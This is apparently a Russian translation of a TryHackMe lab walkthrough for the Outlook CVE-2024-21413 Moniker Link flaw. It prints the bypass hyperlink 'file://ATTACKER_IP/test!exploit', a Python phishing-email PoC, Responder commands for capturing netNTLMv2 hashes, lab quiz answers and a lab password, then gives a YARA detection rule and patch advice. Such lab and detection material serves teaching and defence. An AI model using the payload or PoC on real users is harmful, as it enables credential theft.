
13 февраля 2024 года Microsoft объявила об уязвимости Microsoft Outlook, связанной с удаленным выполнением кода (RCE) и утечкой учетных данных, которой присвоен идентификатор CVE-2024-21413 (Moniker Link). Обнаружение уязвимости приписывается Хайфэю Ли из Check Point Research. Уязвимость обходит механизмы безопасности Outlook при обработке определенного типа гиперссылок.
13 февраля 2024 года Microsoft объявила об уязвимости удалённого выполнения кода (RCE) и утечки учётных данных в Microsoft Outlook, которой присвоен идентификатор CVE-2024-21413 (Moniker Link). Обнаружение уязвимости приписывается Хайфею Ли (Haifei Li) из Check Point Research.
Уязвимость обходит механизмы безопасности Outlook при обработке особого типа гиперссылок, известного как Moniker Link. Злоумышленник может воспользоваться этим, отправив жертве электронное письмо, содержащее вредоносную ссылку Moniker Link: после нажатия на гиперссылку Outlook отправит учётные данные NTLM пользователя злоумышленнику.
Подробности, касающиеся оценки уязвимости, приведены в таблице ниже:
CVSS Описание Дата публикации 13 февраля 2024 г. Статья MS https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-21413 Воздействие Удалённое выполнение кода и утечка учётных данных Серьёзность Критическая Сложность атаки Низкая Оценка 9.8
Известно, что уязвимость затрагивает следующие выпуски Office:
Выпуск Версия Microsoft Office LTSC 2021 затронута, начиная с 19.0.0 Microsoft 365 Apps for Enterprise затронута начиная с 16.0.1 Microsoft Office 2019 затронута начиная с 16.0.1 Microsoft Office 2016 затронута с 16.0.0 до 16.0.5435.1001
Обратите внимание, что для этого задания вам понадобятся и AttackBox, и уязвимая машина. Чтобы развернуть прикреплённую виртуальную машину, нажмите зелёную кнопку Start Machine ниже.
Имя пользователя tryhackme Пароль Kkh3gv439dnq!
Какой рейтинг "Severity" присвоен данной CVE? > ОТВЕТ : Критическая
Outlook может отображать электронные письма в формате HTML. Вы могли замечать, что это используется в ваших любимых рассылках. Кроме того, Outlook умеет обрабатывать гиперссылки, такие как HTTP и HTTPS. Однако он также может открывать URL-адреса, указывающие на приложения, известные как Moniker Links. Обычно Outlook выводит предупреждение безопасности при запуске внешних приложений.
Защищённое представление Outlook срабатывает при запуске внешнего приложения
Это всплывающее окно является результатом работы "Protected View" Outlook. Защищённое представление открывает письма, содержащие вложения, гиперссылки и подобный контент, в режиме только для чтения, блокируя такие вещи, как макросы (особенно извне организации).
Используя Moniker Link file:// в нашей гиперссылке, мы можем указать Outlook попытаться получить доступ к файлу, например, к файлу в сетевой папке (<a href="file://ATTACKER_IP/test">Click me</a>). При этом используется протокол SMB, который подразумевает аутентификацию с помощью локальных учётных данных. Однако "Защищённое представление" Outlook перехватывает и блокирует эту попытку.
Суть уязвимости здесь в том, что мы изменяем нашу гиперссылку, добавляя в Moniker Link специальный символ ! и некоторый текст, что приводит к обходу Защищённого представления Outlook. Например: <a href="file://ATTACKER_IP/test!exploit">Click me</a>.
Мы, как злоумышленники, можем использовать Moniker Link такого характера для атаки. Обратите внимание, что общий ресурс не обязан существовать на удалённом устройстве, поскольку попытка аутентификации будет предпринята в любом случае, что приведёт к отправке злоумышленнику хэша netNTLMv2 жертвы.
Удалённое выполнение кода (RCE) возможно, потому что Moniker Links использует модель COM (Component Object Model) в Windows. Однако объяснение этого в настоящее время выходит за рамки данной комнаты, поскольку не существует публично выпущенного proof of concept для достижения RCE через эту конкретную CVE.
Какой тип Moniker Link мы используем в гиперссылке? > ОТВЕТ : file:// Какой специальный символ используется для обхода "Защищённого представления" Outlook? > ОТВЕТ : !
Для этой атаки мы отправим жертве по электронной почте Moniker Link, аналогичный приведённому в предыдущем задании. Цель атакующего — составить письмо жертве с Moniker Link, который обходит "Защищённое представление" Outlook: клиент жертвы попытается загрузить файл с нашей атакующей машины, что приведёт к перехвату хэша netNTLMv2 жертвы.
Но сначала давайте разберём PoC, который я создал (он также доступен на GitHub).
''' Author: CMNatic | https://github.com/cmnatic Version: 1.0 | 19/02/2024 ''' import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.utils import formataddr sender_email = '[email protected]' # Replace with your sender email address receiver_email = '[email protected]' # Replace with the recipient email address password = input("Enter your attacker email password: ") html_content = """\ """ message = MIMEMultipart() message['Subject'] = "CVE-2024-21413" message["From"] = formataddr(('CMNatic', sender_email)) message["To"] = receiver_email # Convert the HTML string into bytes and attach it to the message object msgHtml = MIMEText(html_content,'html') message.attach(msgHtml) server = smtplib.SMTP('MAILSERVER', 25) server.ehlo() try: server.login(sender_email, password) except Exception as err: print(err) exit(-1) try: server.sendmail(sender_email, [receiver_email], message.as_string()) print("\n Email delivered") except Exception as error: print(error) finally: server.quit()
Что делает PoC:
Давайте используем Responder для создания SMB-слушателя на нашей атакующей машине. Для THM AttackBox интерфейсом будет -I ens5. Имя интерфейса будет отличаться, если вы используете собственное устройство (например, Kali). Если хотите дополнительное задание, можно также использовать сервер Impacket.
Запуск Responder на нашем AttackBox
root@attackbox:# responder -I ens5
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.1.0
Author: Laurent Gaffie ([email protected])
To kill this script hit CTRL-C
-- cut for brevity --
[+] Listening for events...
Давайте откроем уязвимую машину, нажав на панель "CVE-2024-21413" в режиме разделённого экрана.
Откройте Outlook, нажав ярлык "Outlook" на рабочем столе. Когда Outlook откроется, нажмите "I don't want to sign in or create an account" во всплывающем окне.
Закройте второе всплывающее окно, нажав на "X" в правом верхнем углу окна (возможно, вам придётся немного сдвинуть окно влево, в зависимости от разрешения экрана).
Когда всё будет готово, вы увидите интерфейс Outlook. В этой комнате почтовый ящик жертвы уже настроен в Outlook для вас.
Вернитесь к своему AttackBox. Мы скопируем и вставим приведённый выше PoC на AttackBox.
Для этого мы создадим новый файл на AttackBox: nano exploit.py — и воспользуемся выдвижной панелью в режиме разделённого экрана. Обратитесь к GIF-анимации ниже, чтобы увидеть, как это работает.
https://assets.tryhackme.com/additional/CVE-2024-21410/abcopypaste.gif
Перед запуском Python-скрипта нам нужно выполнить некоторую первоначальную настройку на нашем AttackBox:
Когда всё готово, мы можем запустить эксплойт. Когда появится запрос пароля электронной почты атакующего, введите "attacker".
Запуск exploit.py
root@attackbox:# python3 exploit.py Enter your attacker email password: attacker
Python-скрипт выведет "Email delivered", когда письмо будет отправлено. Если скрипт сообщит об ошибке аутентификации, убедитесь, что вы правильно заменили значения в exploit.py. Теперь давайте вернёмся к уязвимой машине и проверим новое письмо:
Нажмите на гиперссылку "Click me" и вернитесь к нашему сеансу терминала "Responder" на AttackBox:
Успех! Хэш netNTLMv2 жертвы был перехвачен на нашем AttackBox.
Как называется приложение, которое мы используем на AttackBox для перехвата хэша пользователя? > ОТВЕТ : responder Какой тип хэша перехватывается после нажатия на гиперссылку в письме? > ОТВЕТ : netNTLMv2
Флориан Рот создал Yara-правило для обнаружения писем, содержащих элемент file:\ в Moniker Link.
CVE-2024-21413: Yara-правило, созданное Флорианом Ротом
user@yourmachine:# cat cve-2024-21413.yar
rule EXPL_CVE_2024_21413_Microsoft_Outlook_RCE_Feb24 {
meta:
description = "Detects emails that contain signs of a method to exploit CVE-2024-21413 in Microsoft Outlook"
author = "X__Junior, Florian Roth"
reference = "https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability/"
date = "2024-02-17"
modified = "2024-02-19"
score = 75
strings:
$a1 = "Subject: "
$a2 = "Received: "
$xr1 = /file:\/\/\/\\\\[^"']{6,600}\.(docx|txt|pdf|xlsx|pptx|odt|etc|jpg|png|gif|bmp|tiff|svg|mp4|avi|mov|wmv|flv|mkv|mp3|wav|aac|flac|ogg|wma|exe|msi|bat|cmd|ps1|zip|rar|7z|targz|iso|dll|sys|ini|cfg|reg|html|css|java|py|c|cpp|db|sql|mdb|accdb|sqlite|eml|pst|ost|mbox|htm|php|asp|jsp|xml|ttf|otf|woff|woff2|rtf|chm|hta|js|lnk|vbe|vbs|wsf|xls|xlsm|xltm|xlt|doc|docm|dot|dotm)!/
condition:
filesize < 1000KB
and all of ($a*)
and 1 of ($xr*)
}
Кроме того, SMB-запрос от жертвы к клиенту можно увидеть в захвате пакетов с усечённым хэшем netNTLMv2.
Нажмите, чтобы перейти к следующему заданию! > ОТВЕТ : НЕТ ОТВЕТА
Microsoft включила исправления для этой уязвимости в февральский выпуск "Patch Tuesday". Список статей KB по сборкам Office можно посмотреть здесь. Настоятельно рекомендуется обновить Office через Центр обновления Windows или Каталог обновлений Microsoft.
Кроме того, это лишний раз напоминает о необходимости соблюдать общие — безопасные — методы кибербезопасности. Например, напоминать пользователям:
Поскольку эта уязвимость обходит "Защищённое представление" Outlook, не существует способа перенастроить Outlook для предотвращения этой атаки. Кроме того, полное блокирование протокола SMB может принести больше вреда, чем пользы, особенно учитывая, что он необходим для доступа к сетевым ресурсам. Однако, в зависимости от организации, вы можете заблокировать это на уровне межсетевого экрана.
Нажмите, чтобы перейти к следующему заданию. > ОТВЕТ : НЕТ ОТВЕТА